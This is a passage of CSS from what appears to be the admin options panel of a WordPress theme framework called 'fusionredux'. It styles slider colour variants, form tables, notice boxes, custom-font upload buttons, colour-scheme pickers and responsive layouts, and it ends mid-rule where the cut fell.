.fusionredux-slider-container .slider-material-pink.noUi-connect { background-color: #e91e63; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-purple.noUi-connect { background-color: #9c27b0; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-deep-purple.noUi-connect { background-color: #673ab7; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-indigo.noUi-connect { background-color: #3f51b5; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-blue.noUi-connect { background-color: #2196f3; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-light-blue.noUi-connect { background-color: #03a9f4; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-cyan.noUi-connect { background-color: #00bcd4; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-teal.noUi-connect { background-color: #009688; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-green.noUi-connect { background-color: #4caf50; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-light-green.noUi-connect { background-color: #8bc34a; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-lime.noUi-connect { background-color: #cddc39; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-yellow.noUi-connect { background-color: #ffeb3b; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-amber.noUi-connect { background-color: #ffc107; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-orange.noUi-connect { background-color: #ff9800; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-deep-orange.noUi-connect { background-color: #ff5722; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-brown.noUi-connect { background-color: #795548; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-grey.noUi-connect { background-color: #9e9e9e; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-blue-grey.noUi-connect { background-color: #607d8b; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider .noUi-connect, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-default .noUi-connect { background-color: $color_accent_2; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-black .noUi-connect { background-color: #000000; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-white .noUi-connect { background-color: #ffffff; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-inverse .noUi-connect { background-color: #3f51b5; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-primary .noUi-connect { background-color: #009688; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-success .noUi-connect { background-color: #4caf50; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-info .noUi-connect { background-color: #03a9f4; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-warning .noUi-connect { background-color: #ff5722; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-danger .noUi-connect { background-color: #f44336; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-red .noUi-connect { background-color: #f44336; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-pink .noUi-connect { background-color: #e91e63; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-purple .noUi-connect { background-color: #9c27b0; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-deep-purple .noUi-connect { background-color: #673ab7; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-indigo .noUi-connect { background-color: #3f51b5; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-blue .noUi-connect { background-color: #2196f3; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-light-blue .noUi-connect { background-color: #03a9f4; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-cyan .noUi-connect { background-color: #00bcd4; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-teal .noUi-connect { background-color: #009688; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-green .noUi-connect { background-color: #4caf50; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-light-green .noUi-connect { background-color: #8bc34a; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-lime .noUi-connect { background-color: #cddc39; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-yellow .noUi-connect { background-color: #ffeb3b; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-amber .noUi-connect { background-color: #ffc107; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-orange .noUi-connect { background-color: #ff9800; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-deep-orange .noUi-connect { background-color: #ff5722; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-brown .noUi-connect { background-color: #795548; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-grey .noUi-connect { background-color: #9e9e9e; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-blue-grey .noUi-connect { background-color: #607d8b; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider .noUi-handle, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-default .noUi-handle { background-color: $color_accent_2; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-black .noUi-handle { background-color: #000000; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-white .noUi-handle { background-color: #ffffff; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-inverse .noUi-handle { background-color: #3f51b5; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-primary .noUi-handle { background-color: #009688; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-success .noUi-handle { background-color: #4caf50; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-info .noUi-handle { background-color: #03a9f4; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-warning .noUi-handle { background-color: #ff5722; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-danger .noUi-handle { background-color: #f44336; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-red .noUi-handle { background-color: #f44336; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-pink .noUi-handle { background-color: #e91e63; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-purple .noUi-handle { background-color: #9c27b0; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-deep-purple .noUi-handle { background-color: #673ab7; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-indigo .noUi-handle { background-color: #3f51b5; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-blue .noUi-handle { background-color: #2196f3; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-light-blue .noUi-handle { background-color: #03a9f4; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-cyan .noUi-handle { background-color: #00bcd4; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-teal .noUi-handle { background-color: #009688; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-green .noUi-handle { background-color: #4caf50; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-light-green .noUi-handle { background-color: #8bc34a; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-lime .noUi-handle { background-color: #cddc39; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-yellow .noUi-handle { background-color: #ffeb3b; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-amber .noUi-handle { background-color: #ffc107; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-orange .noUi-handle { background-color: #ff9800; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-deep-orange .noUi-handle { background-color: #ff5722; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-brown .noUi-handle { background-color: #795548; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-grey .noUi-handle { background-color: #9e9e9e; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-blue-grey .noUi-handle { background-color: #607d8b; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider .noUi-handle, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-default .noUi-handle { border-color: $color_accent_2; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-black .noUi-handle { border-color: #000000; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-white .noUi-handle { border-color: #ffffff; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-inverse .noUi-handle { border-color: #3f51b5; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-primary .noUi-handle { border-color: #009688; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-success .noUi-handle { border-color: #4caf50; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-info .noUi-handle { border-color: #03a9f4; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-warning .noUi-handle { border-color: #ff5722; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-danger .noUi-handle { border-color: #f44336; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-red .noUi-handle { border-color: #f44336; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-pink .noUi-handle { border-color: #e91e63; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-purple .noUi-handle { border-color: #9c27b0; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-deep-purple .noUi-handle { border-color: #673ab7; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-indigo .noUi-handle { border-color: #3f51b5; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-blue .noUi-handle { border-color: #2196f3; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-light-blue .noUi-handle { border-color: #03a9f4; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-cyan .noUi-handle { border-color: #00bcd4; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-teal .noUi-handle { border-color: #009688; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-green .noUi-handle { border-color: #4caf50; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-light-green .noUi-handle { border-color: #8bc34a; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-lime .noUi-handle { border-color: #cddc39; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-yellow .noUi-handle { border-color: #ffeb3b; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-amber .noUi-handle { border-color: #ffc107; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-orange .noUi-handle { border-color: #ff9800; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-deep-orange .noUi-handle { border-color: #ff5722; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-brown .noUi-handle { border-color: #795548; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-grey .noUi-handle { border-color: #9e9e9e; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-slider-container .slider-material-blue-grey .noUi-handle { border-color: #607d8b; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main.fusionredux-search .fusionredux-group-tab > h2 { display: none; } .fusionredux-container #fusionredux-form-wrapper #info-h1_typography_info + table tbody tr:nth-child(2), .fusionredux-container #fusionredux-form-wrapper #info-h2_typography_info + table tbody tr:nth-child(2), .fusionredux-container #fusionredux-form-wrapper #info-h3_typography_info + table tbody tr:nth-child(2), .fusionredux-container #fusionredux-form-wrapper #info-h4_typography_info + table tbody tr:nth-child(2), .fusionredux-container #fusionredux-form-wrapper #info-h5_typography_info + table tbody tr:nth-child(2), .fusionredux-container #fusionredux-form-wrapper #info-h6_typography_info + table tbody tr:nth-child(2) { border-bottom: none; } .fusionredux-container #fusionredux-form-wrapper #info-h1_typography_info + table tbody tr:nth-child(2) fieldset, .fusionredux-container #fusionredux-form-wrapper #info-h2_typography_info + table tbody tr:nth-child(2) fieldset, .fusionredux-container #fusionredux-form-wrapper #info-h3_typography_info + table tbody tr:nth-child(2) fieldset, .fusionredux-container #fusionredux-form-wrapper #info-h4_typography_info + table tbody tr:nth-child(2) fieldset, .fusionredux-container #fusionredux-form-wrapper #info-h5_typography_info + table tbody tr:nth-child(2) fieldset, .fusionredux-container #fusionredux-form-wrapper #info-h6_typography_info + table tbody tr:nth-child(2) fieldset { padding-bottom: 0; } .fusionredux-container #fusionredux-form-wrapper #info-h1_typography_info + table tbody tr:nth-child(3) .fusionredux_field_th, .fusionredux-container #fusionredux-form-wrapper #info-h2_typography_info + table tbody tr:nth-child(3) .fusionredux_field_th, .fusionredux-container #fusionredux-form-wrapper #info-h3_typography_info + table tbody tr:nth-child(3) .fusionredux_field_th, .fusionredux-container #fusionredux-form-wrapper #info-h4_typography_info + table tbody tr:nth-child(3) .fusionredux_field_th, .fusionredux-container #fusionredux-form-wrapper #info-h5_typography_info + table tbody tr:nth-child(3) .fusionredux_field_th, .fusionredux-container #fusionredux-form-wrapper #info-h6_typography_info + table tbody tr:nth-child(3) .fusionredux_field_th, .fusionredux-container #fusionredux-form-wrapper #info-h1_typography_info + table tbody tr:nth-child(3) fieldset, .fusionredux-container #fusionredux-form-wrapper #info-h2_typography_info + table tbody tr:nth-child(3) fieldset, .fusionredux-container #fusionredux-form-wrapper #info-h3_typography_info + table tbody tr:nth-child(3) fieldset, .fusionredux-container #fusionredux-form-wrapper #info-h4_typography_info + table tbody tr:nth-child(3) fieldset, .fusionredux-container #fusionredux-form-wrapper #info-h5_typography_info + table tbody tr:nth-child(3) fieldset, .fusionredux-container #fusionredux-form-wrapper #info-h6_typography_info + table tbody tr:nth-child(3) fieldset { padding-top: 0; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-notice-field { background: #f2f2f2; border-left: none; box-shadow: none; -webkit-box-shadow: none; padding: 1em 2em; position: relative; /* &:after { content: "\f140"; font-family: dashicons; bottom: ~"calc(27px - 1em)"; left: ~"calc(50% - 25px)"; font-size: 40px; color: #f2f2f2; position: absolute; } */ } .fusionredux-container #fusionredux-form-wrapper input[type="checkbox"]:checked { background-color: $color_accent_1 !important; } .fusionredux-container #fusionredux-form-wrapper input[type="checkbox"]:checked::before, .fusionredux-container #fusionredux-form-wrapper input[type="checkbox"]:checked:before { color: $color_text_menu_top_level_active; } .fusionredux-container #fusionredux-form-wrapper .form-table { table-layout: fixed; } .fusionredux-container #fusionredux-form-wrapper .form-table th { width: 50% !important; } .fusionredux-container #fusionredux-form-wrapper .form-table th .fusionredux_field_th { padding: 25px 60px 25px 0; } .fusionredux-container #fusionredux-form-wrapper .form-table td { width: 50% !important; } .fusionredux-container #fusionredux-form-wrapper .form-table .fusionredux-field-container { padding: 25px 0; } .fusionredux-container #fusionredux-form-wrapper .form-table .fusionredux-field-container.fusionredux-container-raw { padding: 0; } .fusionredux-container .fusionredux-repeater-accordion-repeater .fusionredux-repeaters-remove { background-color: #ffffff; color: #dc3232 !important; } .fusionredux-container .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] .ui-accordion-content { overflow: hidden; } .fusionredux-container .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] .ui-accordion-content fieldset:first-of-type { padding-top: 0 !important; } .fusionredux-container .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] .ui-accordion-content fieldset:first-of-type input { width: 100%; } .fusionredux-container .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] .screenshot { display: none !important; } .fusionredux-container .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] .button.media_upload_button, .fusionredux-container .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] .button.remove-image { color: transparent; color: rgba(0, 0, 0, 0) !important; background: #65bc7b !important; width: 34px; border: none; font-weight: normal !important; } .fusionredux-container .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] .button.media_upload_button::before, .fusionredux-container .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] .button.remove-image::before { font-family: dashicons; content: "\f317"; color: #fff; } .fusionredux-container .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] .button.remove-image { background: #dc3232 !important; margin-left: 0; } .fusionredux-container .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] .button.remove-image::before { content: "\f158"; } .fusionredux-container .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] .fusionredux-repeaters-remove { background-color: #ffffff; color: #dc3232 !important; } .fusionredux-container .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] h4 { font-weight: normal; margin: 15px 0 10px !important; } .fusionredux-container .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] h4:nth-of-type(2), .fusionredux-container .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] h4:nth-of-type(3), .fusionredux-container .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] h4:nth-of-type(4), .fusionredux-container .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] h4:nth-of-type(5), .fusionredux-container .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] h4:nth-of-type(6) { margin: 0 0 20px !important; font-size: 12px; clear: left; float: left; width: 50px; line-height: 30px; } .fusionredux-container .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] fieldset { padding: 0 0 20px !important; font-weight: normal; text-align: right; } .fusionredux-container .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] fieldset:nth-of-type(1) { padding-bottom: 40px; } .fusionredux-container .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] fieldset.fusionredux-container-media input[type="text"] { display: inline-block; max-width: calc(100% - 84px); float: left; height: 31px; margin: 0 10px 0 0; } .fusionredux-container .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] fieldset.fusionredux-container-media .upload_button_div { display: inline-flex; justify-content: space-between; vertical-align: top; margin: 0 -2px; } .fusionredux-container .fusion_theme_options-custom_fonts fieldset.fusionredux-field[data-id="custom_fonts"] fieldset.fusionredux-container-media .upload_button_div span { margin: 0 2px; } .fusionredux-container .notice-green, .fusionredux-container .notice-red, .fusionredux-container .notice-yellow { padding-left: 50px; padding-right: 50px; border-color: #dfdfdf; text-shadow: none; } .fusionredux-container .notice-green { color: #65bc7b; background-color: #D8EEDE; } .fusionredux-container .notice-red { color: #dc3232; background-color: #F6CBCB; } .fusionredux-container .notice-yellow { color: #198FD9; background-color: #E7F4FB; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-group-tab .ace-wrapper > .ace_editor { border: 1px solid #dfdfdf; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-group-tab .ace-wrapper > .ace_editor .ace-tm .ace_gutter { background-color: #f2f3f5; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-group-tab .ace-wrapper > .ace_editor .ace-tm .ace_marker-layer .ace_active-line { background: rgba(0, 0, 0, 0.04); } .fusionredux-container #fusionredux-form-wrapper .fusionredux-group-tab .ace-wrapper > .ace_editor .ace-tm .ace_print-margin { border-color: #dfdfdf; } .fusion-redux-search .fusionredux-sidebar { transition: all 250ms ease-in-out; opacity: 0.2; } .fusion-redux-search .fusionredux-sidebar:hover { opacity: 1; } .fusionredux-container-image_select ul.fusionredux-image-select li { padding-right: 5px; } .fusionredux-container-image_select .fusionredux-image-select .tiles, .fusionredux-container-image_select .fusionredux-image-select img, .fusionredux-container-image_select .fusionredux-image-select-selected .tiles, .fusionredux-container-image_select .fusionredux-image-select-selected img { border-width: 1px; border-color: #dfdfdf; border-radius: 0.35em; } .fusionredux-container-image_select .fusionredux-image-select-selected img { border-width: 3px !important; border-color: #198FD9 !important; } .fusion-color-palette-list { display: flex; } .fusion-color-palette-list .fusion-color-palette-item > span { width: 32px; height: 32px; border-color: #dfdfdf; border-radius: 0.35em; } #fusion-hubspot-content, #fusion-mailchimp-content, #fusion-instagram-content, .fusion-colors-important-notice, .fusion-redux-important-notice { position: relative; padding: 2em; font-style: italic; font-size: 1.1em; line-height: 1.5; } #fusion-hubspot-content:before, #fusion-mailchimp-content:before, #fusion-instagram-content:before, .fusion-colors-important-notice:before, .fusion-redux-important-notice:before { content: ""; background: $color_accent_2; opacity: 0.1; position: absolute; width: 100%; height: 100%; top: 0; left: 0; border-radius: 4px; } #fusion-hubspot-content strong, #fusion-mailchimp-content strong, #fusion-instagram-content strong, .fusion-colors-important-notice strong, .fusion-redux-important-notice strong { color: $color_accent_2; } #fusion-hubspot-content a, #fusion-mailchimp-content a, #fusion-instagram-content a, .fusion-colors-important-notice a, .fusion-redux-important-notice a { position: relative; color: $color_accent_2; text-decoration: none; transition: color 0.2s cubic-bezier(0.21, 0.6, 0.35, 1); } #fusion-hubspot-content a:hover, #fusion-mailchimp-content a:hover, #fusion-instagram-content a:hover, .fusion-colors-important-notice a:hover, .fusion-redux-important-notice a:hover, #fusion-hubspot-content a:active, #fusion-mailchimp-content a:active, #fusion-instagram-content a:active, .fusion-colors-important-notice a:active, .fusion-redux-important-notice a:active, #fusion-hubspot-content a:focus, #fusion-mailchimp-content a:focus, #fusion-instagram-content a:focus, .fusion-colors-important-notice a:focus, .fusion-redux-important-notice a:focus { color: $color_accent_1; } tr.fusion_options.custom-info fieldset { margin-bottom: 2em; } #fusion-hubspot-content, #fusion-mailchimp-content, #fusion-instagram-content { font-style: normal; } #fusion-hubspot-content > div, #fusion-mailchimp-content > div, #fusion-instagram-content > div { display: flex; justify-content: space-between; align-items: center; } .fusion-tooltip.qtip-rounded { border-radius: 3px; } .fusion-tooltip.qtip-shadow { box-shadow: 0 1px 3px 0 rgba(0, 0, 0, 0.15); } .fusion-tooltip .qtip-content { text-align: center; } #fusionredux_notification_bar .fusionredux-field-warnings.notice-yellow, .fusionredux-sidebar .fusionredux-menu-warning { display: none !important; } .fusionredux-main .fusionredux-option-image { max-width: 425px; margin-right: 0; box-sizing: border-box; } .fusion_theme_options-custom_color_scheme_options .fusionredux_field_th { display: none; } .fusion-custom-color-scheme { padding-bottom: 25px; } .fusion-custom-color-scheme .color-toggle { height: auto; opacity: 1; transition: all 0.5s ease; } .fusion-custom-color-scheme .color-toggle.color-hidden { height: 0; overflow: hidden; opacity: 0; padding-top: 0; transition: all 0.5s ease; } .fusion-custom-color-scheme textarea { height: 140px; } .form-table td .fusion-custom-color-scheme p { margin: 0 0 1em; } .fusion-custom-color-scheme > div { padding-top: 25px; } .fusionredux-main .form-table tr.color-scheme.fusion_options { border-bottom: none; } .color-scheme-selection .fusion_theme_options-color_scheme li img { pointer-events: none; } .color-scheme-selection .fusion_theme_options-color_scheme li:nth-child(-n+10) img { opacity: 0.4; cursor: not-allowed; } .color-scheme-selection .fusion_theme_options-color_scheme .delete-selected label { position: relative; } .color-scheme-selection .fusion_theme_options-color_scheme .delete-selected label:after { background: white; border-radius: 50%; position: absolute; line-height: 20px; font-size: 20px; top: 50%; left: 50%; margin-top: -10px; margin-left: -10px; pointer-events: none; content: "\f1dc"; font-family: "Elusive-Icons"; color: red; } #color-scheme-new-name { width: 180px; } #fusionredux-form-wrapper .fusionredux-main .custom_color_save_button { margin-top: 0; } #fusionredux-form-wrapper .fusionredux-main #fusion-save-custom-color .custom_color_save_button { margin-top: 1px; } #fusionredux-form-wrapper .fusionredux-main #fusion-import-custom-color .custom_color_save_button { margin-top: 7px; } #fusion-visibility-large { box-sizing: border-box; height: 31px; line-height: 23px; width: 100px !important; text-align: center; background: #f8f8f8 !important; border-radius: 0.35em; transition: all 200ms ease-in-out; border: 1px solid #dfdfdf; margin: 1px; padding: 3px 5px; color: rgba(0, 0, 0, 0.5); cursor: not-allowed; } .fusion-hover-description { display: inline !important; } /* Media Queries */ @media only screen and (max-width: 1370px) { .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .field-border_radius-input, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .field-spacing-input { width: calc(35% - 5px); } } @media only screen and (max-width: 1200px) { .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusion-support-links { display: none; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main #fusionredux-sticky #info_bar { padding-right: 50px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main input[type="text"].fusionredux_field_search { width: 200px !important; } .fusionredux-container #fusionredux-form-wrapper .form-table td, .fusionredux-container #fusionredux-form-wrapper .form-table th, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field[data-id="header_layout"] .fusionredux_field_th { display: block; width: 100% !important; } .fusionredux-container #fusionredux-form-wrapper .form-table th .fusionredux_field_th, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field[data-id="header_layout"] .fusionredux_field_th { padding-right: 0 !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-field[data-id="header_layout"] ul.fusionredux-image-select li { float: left; max-width: 85%; } } @media only screen and (min-width: 1200px) and (max-width: 1290px) { .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .iris-picker { width: 310px !important; min-width: 0; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .iris-picker .iris-picker-inner .iris-square { width: 200px !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .iris-palette-container { width: 203px !important; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-color_alpha .iris-palette-container .iris-palette { width: 17px !important; height: 17px !important; margin-left: 1.4px !important; } } @media only screen and (max-width: 1060px) { .fusionredux-container #fusionredux-form-wrapper .fusionredux-main input[type="text"].fusionredux_field_search { display: none; } } @media only screen and (max-width: 782px) { #fusion-edit-on-front-end, .fusionredux-action_bar #fusionredux_save, .fusionredux-action_bar #fusionredux-defaults-section, .fusionredux-action_bar #fusionredux-defaults { padding: 0 0.6em; font-size: 13px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-border_radius .field-border_radius-input, .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .fusionredux-container-spacing .field-spacing-input { width: 100%; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-action_bar .spinner { margin: 4px 5px 0; } .fusionredux-container #fusionredux-form-wrapper div.fusionredux-main #fusionredux-sticky #info_bar { margin-top: 0; height: 40px; } .fusionredux-container #fusionredux-form-wrapper .fusionredux-main .wp-color-result { height: 43px; } } @media only screen and (max-width: 720px) { .fusionredux-container #fusionredux-form-wrapper .fusionredux-main input#fusionredux_save { margin-right: 4px; } .rtl .fusionredux-container #fusionredux-form-wrapper .fusionredux-main input#fusionredux_save { margin-right: 0; margin-left: 4px; } #fusionredux-defaults-section { display: none; } } @media only screen and 